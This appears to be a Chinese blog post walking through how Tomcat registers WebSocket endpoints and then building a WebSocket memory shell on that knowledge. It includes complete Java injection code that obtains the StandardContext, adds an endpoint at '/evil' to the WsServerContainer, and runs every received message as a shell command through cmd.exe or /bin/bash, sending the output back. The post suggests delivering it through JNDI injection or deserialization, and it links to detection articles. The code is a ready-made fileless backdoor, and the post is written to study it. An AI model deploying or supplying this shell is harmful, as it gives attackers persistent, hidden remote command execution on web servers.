• websocket内存马


    前言

    tnnd,文章写的太垃圾,投稿不收 😦,看到新型内存马项目,学习一下,项目地址:https://github.com/veo/wsMemShell

    websocket类型内存马的学习,环境:Tomcat 8.5 + JDK1.8

    websocket

    先读这一篇前置知识文章:WebSocket通信原理和在Tomcat中实现源码详解

    Tomcat7早期版本7.0.47之前还没有出 JSR356标准时,自己实现了一套接口,支持websocket。后来Tomcat7.0.47版本废弃自定义的API,实现了JSR356标准。

    根据JSR356规定, 建立WebSocket连接的服务器端和客户端,两端对称,抽象成API,就是一个个Endpoint(端点),只不过服务器端的叫 ServerEndpoint,客户端的叫 ClientEndpoint。客户端向服务端发送WebSocket握手请求,建立连接后就创建一个ServerEndpoint对象

    websocket基于Tomcat实现

    tomcat中存在两种方式:一、ServerEndpoint注解方式。二、继承抽象类Endpoint方式。这里利用注解方式来进行实现

    import javax.websocket.*;
    import javax.websocket.server.ServerEndpoint;
    
    @ServerEndpoint(value = "/websocket")
    public class WebSocket{
        private Session session;
    
        @OnOpen
        public void start(Session session) {
            this.session = session;
            this.session.getAsyncRemote().sendText("websocket strt");
        }
    
        @OnClose
        public void end() {
            System.out.println("websocket close");
        }
    
        @OnMessage
        public void incoming(String message) {
            this.session.getAsyncRemote().sendText("websocket recievd: "+message);
        }
    
        @OnError
        public void onError(Throwable t) {
            System.out.println("websocket error");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    关于继承抽象类Endpoint的方式,需要自己实现 MessageHandlerServerApplicationConfig

    MessageHandler 用于处理消息,ServerApplicationConfig用于处理URI映射。

    websocket加载

    Tomcat通过 org.apache.tomcat.websocket.server.WsSci 专门对 websocket 进行初始化以及加载,该类实现了接口

    javax.servlet.ServletContainerInitializer ,该接口是Servlet 3.0规范中定义的用来接收Web应用启动事件的接口,简称为SCI加载机制。该机制在Tomcat部署装载Web项目 org.apache.catalina.core.StandardContext#startInternal 时主动触发 ServletContainerInitializer#onStartup,做一些扩展的初始化操作。

    WsSci#onStartup

    WsSci会将 **HandlesTypes注解 **指定的类扫描出来,并 创建WebSocketContainer容器,将扫描的类添加到容器中。扫描的类如下

    • 注解类ServerEndpoint即 @ServerEndpoint
    • ServerApplicationConfig实现类
    • Endpoint子类

    调试一下,扫描到刚才自定义的 ServerEndpoint,创建WebSocketContainer容器,这里用的是 WsServerContainer

    image-20220720232039952

    在 WsServerContainer 的构造函数中为ServletContext添加了一个 org.apache.tomcat.websocket.server.WsFilter 类型的Filter用来处理websocket的请求

    image-20220720234850629

    回到SCI中,定义三个set集合针对扫描到的三种不同类

    image-20220720232801875

    三个if对不同类型进行添加

    • 当前类为ServerApplicationConfig 添加到 serverApplicationConfigs 集合中
    • 当前为Endpoint的子类 添加到 scannedEndpointClazzes 集合中
    • 当前类为ServerEndpoint 添加到 scannedPojoEndpoints 集合中

    image-20220720235931159

    又重新定义了 两个集合 filteredEndpointConfigsfilteredPojoEndpoints,如果 serverApplicationConfigs 为空即不存在以继承抽象类Endpoint的方式编写的类,将注释方式的类添加 filteredPojoEndpoints 中,else中不在赘述。

    image-20220721001100660

    通过 addEndpoint 添加到WebSocketContainer容器中,两种websocket实现方式调用的addEndpoint也不相同

    • Endpoint 子类调用的是形参为 (ServerEndpointConfig)
    • ServerEndpoint 类调用的形参为 (Class pojo, boolean fromAnnotatedPojo)

    image-20220721002347745

    WsServerContainer#addEndpoint

    定义 ServerEndpointConfig 变量,然后获取 ServerEndpoint 的路径

    image-20220721004610184

    最后调用一堆方法去构造出 ServerEndpointConfig 对象

    image-20220721004816947

    再次调用addEndpoint,传入ServerEndpointConfig 等配置对象,这里很明显能看出通过 PojoMethodMapping 类去解析配置信息,获取OnClose、OnOpen等方法,添加到 ServerEndpointConfig 对象中

    image-20220721203956691

    接下来通过UriTemplate去处理映射的路由路径,对path进行是否重复的检查,把path和其ServerEndpointConfig对象添加到 configExactMatchMap

    image-20220721232910575

    至此完成添加一个ServerEndpoint。

    websocket通信

    关于WsFilter,当服务器接收到来自客户端的请求时,首先WsFilter会判断该请求是否是一个WebSocket Upgrade请求(即包含Upgrade: websocket头信息)。如果是,则根据请求路径查找对应的Endpoint处理类。只需要知道WsFilter用来处理websocket请求,对应的EndPoint进行处理即可。

    websocket注入实现

    实现思路类比其他类型内存马

    • 获取StandardContext
    • 获取WebSocketContainer
    • 创建恶意的ServerEndpointConfig
    • 调用addEndpoint()

    websocket.java

    import org.apache.catalina.core.StandardContext;
    import org.apache.catalina.loader.WebappClassLoaderBase;
    import org.apache.tomcat.websocket.server.WsServerContainer;
    
    import javax.websocket.*;
    import javax.websocket.server.ServerContainer;
    import javax.websocket.server.ServerEndpointConfig;
    import java.io.InputStream;
    
    public class wssocket extends Endpoint {
        static{
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            ServerEndpointConfig build = ServerEndpointConfig.Builder.create(wssocket.class, "/evil").build();
            WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
            try {
                attribute.addEndpoint(build);
            } catch (DeploymentException e) {
                throw new RuntimeException(e);
            }
        }
    
        private Session session;
    
        @Override
        public void onOpen(Session session, EndpointConfig config) {
            this.session = session;
            this.session.addMessageHandler(new MessageHandler());
        }
    
        private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> {
            @Override
            public void onMessage(String message) {
                try {
                    boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
                    Process exec;
                    if (iswin) {
                        exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
                    } else {
                        exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
                    }
                    InputStream ips = exec.getInputStream();
                    StringBuilder sb = new StringBuilder();
                    int i;
                    while((i = ips.read()) != -1) {
                        sb.append((char)i);
                    }
                    ips.close();
                    exec.waitFor();
                    session.getBasicRemote().sendText(sb.toString());
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56

    可搭配 JNDI注入、反序列化等注入内存

    检测

    https://mp.weixin.qq.com/s/T3UfA1plrlG-e9lgfB4whg

    https://www.freebuf.com/articles/web/339361.html

    参考

    Websocket的使用(javax.websocket版本)

    WebSocket通信原理和在Tomcat中实现源码详解

  • 相关阅读:
    webpack插件plugin 添加版权 打包html js压缩
    一、XSS加解密编码解码工具
    信息的浏览
    NLP 基础和初学者进阶
    Linux以系统服务的方式启动Kafka(其他服务同理)
    基于ssm的美妆购物平台管理系统(idea+spring+springmvc+mybatis+jsp)
    Java自学第6课:电商项目(2)
    设计模式之代理模式
    【服务器数据恢复】农科院某研究所DELL服务器raid5两块硬盘掉线的数据恢复
    指针-成绩统计
  • 原文地址:https://blog.csdn.net/qq_53263789/article/details/126224860